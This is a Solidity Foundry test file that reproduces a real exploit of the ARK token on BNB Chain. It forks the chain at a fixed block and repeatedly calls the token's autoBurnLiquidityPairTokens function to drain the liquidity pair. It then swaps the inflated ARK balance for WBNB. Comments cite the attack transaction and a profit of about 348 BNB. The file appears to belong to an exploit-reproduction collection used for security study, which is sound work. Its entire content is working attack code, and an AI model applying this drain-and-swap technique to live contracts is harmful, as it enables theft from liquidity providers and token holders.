ARK_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// TX : https://phalcon.blocksec.com/explorer/tx/bsc/0xe8b0131fa14d0a96327f6b5690159ffa7650d66376db87366ba78d91f17cd677
// GUY : https://twitter.com/Phalcon_xyz/status/1771728823534375249
// Profit : ~348BNB
// REASON : business logic flaw


interface Ark is IERC20  {
    function autoBurnLiquidityPairTokens() external;
}


contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Ark constant ARK = Ark(0xde698B5BBb4A12DDf2261BbdF8e034af34399999);
    Uni_Pair_V2 ARK_WBNB = Uni_Pair_V2(0xc0F54B8755DAF1Fd78933335EfCD761e3D5B4a6F); 
    Uni_Router_V2 router = Uni_Router_V2(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    function setUp() external {
        cheats.createSelectFork("bsc", 37221235);
        // explotier have
        deal(address(WBNB), address(this), 100);
        deal(address(ARK), address(this), 4 ether);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
        uint i = 0;
        while(i < 10000){
            ARK.autoBurnLiquidityPairTokens();
            if (ARK.balanceOf(address(ARK_WBNB)) < 1_700_000_000_000){
                break;
            }
            i ++ ;
        }
        WBNB.transfer(address(ARK_WBNB),100);
        ARK.transfer(address(ARK_WBNB),ARK.balanceOf(address(this)));
        (uint256 _reserve0,uint256 _reserve1 ,) = ARK_WBNB.getReserves();
        uint256 Ark_balance = ARK.balanceOf(address(ARK_WBNB));
        address[] memory path = new address[](2);
        path[0] = address(ARK);
        path[1] = address(WBNB);
        uint256[] memory amountOut = router.getAmountsOut(Ark_balance - _reserve1,path);
        ARK_WBNB.swap(amountOut[1],0,address(this),"");
        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
    }
}